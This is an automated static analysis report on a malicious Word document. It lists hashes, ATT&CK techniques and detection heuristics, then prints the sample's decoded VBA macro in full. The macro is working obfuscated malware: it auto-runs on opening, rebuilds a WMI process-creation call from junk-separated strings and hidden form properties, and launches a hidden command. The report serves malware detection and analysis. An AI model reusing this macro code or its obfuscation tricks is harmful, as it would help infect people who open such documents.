Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f2af6ce30c83a7a…

MALICIOUS

Office (OLE)

176.5 KB Created: 2020-07-27 15:19:00 Authoring application: Microsoft Office Word First seen: 2021-07-07
MD5: 0fc052d2814d96958430f19b5035d844 SHA-1: 535cc038912fc2a462ea2756776efadffde457c4 SHA-256: 9f2af6ce30c83a7a9ffa60abec4aea20dc46d3ba79c249e1e010c5a0cdeb5d87
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'auto-exec' heuristic firings. This macro utilizes 'CreateObject' and a hidden UserForm property to act as a command stager, strongly suggesting it's designed to download and execute a secondary payload. The ClamAV detection 'Doc.Malware.Logan-9206161-0' further confirms its malicious nature. The specific obfuscation techniques used in the VBA script make it difficult to definitively identify the malware family or reconstruct the full payload URL.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9206161-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9206161-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4065 bytes
SHA-256: 232a3232514c8baec259b4fac3fa031f97233d7b25fa387ff01ba137613bad06
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "yuudchooncoaqu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
goegheetjapdoew.weicjoolchov
End Sub


Attribute VB_Name = "goegheetjapdoew"
Attribute VB_Base = "0{54C14432-2AA0-4C21-A3E2-1DF0E40454E3}{A471535A-2CC2-4698-B37C-0495995973A5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function weicjoolchov()
thuarkamheoy = Chr(goegheetjapdoew.Zoom + (120 / 8))
Dim IPuElKrfP As Long
IPuElKrfP = InStr("ySchaNX4ÏskAGW", "X4ÏskAGW")
miovriekyoad = "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsi7773tGJ3^55GHDG%*&k7^*33333fsnm7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsgm7773tGJ3^55GHDG%*&k7^*33333fst7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs" + thuarkamheoy + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs:7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsin7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs37773tGJ3^55GHDG%*&k7^*33333fs27773tGJ3^55GHDG%*&k7^*33333fs_7773tGJ3^55GHDG%*&k7^*33333fs" + goegheetjapdoew.huuthnaw + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsr7773tGJ3^55GHDG%*&k7^*33333fsoc7773tGJ3^55GHDG%*&k7^*33333fses7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fss7773tGJ3^55GHDG%*&k7^*33333fs"
Dim F0mYkFY As Long
F0mYkFY = InStr("aIiQAL", "QAL")
keixteiycheuy = zuuzmeusjeif(miovriekyoad)
Dim yJ0Í7 As Long
yJ0Í7 = InStr("UKLCRYjw6ÖDbKv5É", "jw6ÖDbKv5É")
Set deequfuxmuath = CreateObject(keixteiycheuy)
Dim qZ0Ýu1àM As Long
qZ0Ýu1àM = InStr("AwlkNbSXjDwlOm3Êt", "XjDwlOm3Êt")
yoawchauquzeij = goegheetjapdoew.quaebyombuth.ControlTipText
Dim w3åQyi1ÍHG As Long
w3åQyi1ÍHG = InStr("g0ÛK6ÐNJVHTZUWN", "VHTZUWN")
kaihnauwmavthaic = keixteiycheuy + thuarkamheoy + goegheetjapdoew.quaefkuayyoen.ControlTipText + yoawchauquzeij
TM0iX = 8
Do While TM0iX < 8 + 5
TM0iX = TM0iX + 9: DoEvents
Loop
quuulvipneoch = kaihnauwmavthaic + goegheetjapdoew.huuthnaw
Zqw3ÕvB = 6
Do While Zqw3ÕvB < 6 + 9
Zqw3ÕvB = Zqw3ÕvB + 5: DoEvents
Loop
Set toinloar = puazquuulxeontheon(quuulvipneoch)
HrE4ÜrA5á = 8
Do While HrE4ÜrA5á < 8 + 6
HrE4ÜrA5á = HrE4ÜrA5á + 4: DoEvents
Loop
v = Array("PoS", deequfuxmuath. _
Create(buacguuch, hoaxdoactuavquur, toinloar), "SOP")
Dim fft As Long
fft = InStr("XR1Ìqpffk", "qpffk")
End Function
Function puazquuulxeontheon(boaymaikceichriaw)
Set puazquuulxeontheon = CreateObject(boaymaikceichriaw)
Dim KlHCGw As Integer
KlHCGw = 2
Do While KlHCGw < 2 + 4
KlHCGw = KlHCGw + 9: DoEvents
Loop
puazquuulxeontheon.showwindow = (voorsiax + kiecleizvoij) + (ruukjauc + jiattiapfoulluuw)
Dim EQ6ÍjrK As Integer
EQ6ÍjrK = 6
Do While EQ6ÍjrK < 6 + 6
EQ6ÍjrK = EQ6ÍjrK + 8: DoEvents
Loop
End Function
Function zuuzmeusjeif(zieycaojcheb)
hoeynouwpeaw = zieycaojcheb
Dim aCX3Ì1ÀlwSM As Integer
aCX3Ì1ÀlwSM = 7
Do While aCX3Ì1ÀlwSM < 7 + 3
aCX3Ì1ÀlwSM = aCX3Ì1ÀlwSM + 9: DoEvents
Loop
fihviafxeov = Split _
(hoeynouwpeaw, "7773tGJ3^55GHDG%*&k7^*33333fs")
Dim nV8FB As Integer
nV8FB = 4
Do While nV8FB < 4 + 2
nV8FB = nV8FB + 2: DoEvents
Loop
quuafqueorwoilchaud = c + Join(fihviafxeov, E)
Dim gAuvLy As Integer
gAuvLy = 9
Do While gAuvLy < 9 + 2
gAuvLy = gAuvLy + 4: DoEvents
Loop
zuuzmeusjeif = quuafqueorwoilchaud
Dim qFZ As Long
qFZ = InStr("wfEl2ÔI3ÖhXYPe6ÛRt", "hXYPe6ÛRt")
End Function
Function buacguuch()
q = goegheetjapdoew.cauzthoov.Pages(333 / 333).ControlTipText
Dim VpAD As Long
VpAD = InStr("yGDcMofuCS4Çt", "ofuCS4Çt")
buacguuch = zuuzmeusjeif(q)
Dim JJOQW7Ö As Long
JJOQW7Ö = InStr("PeX7ÌtQajQoX8ÃaWZR", "ajQoX8ÃaWZR")
End Function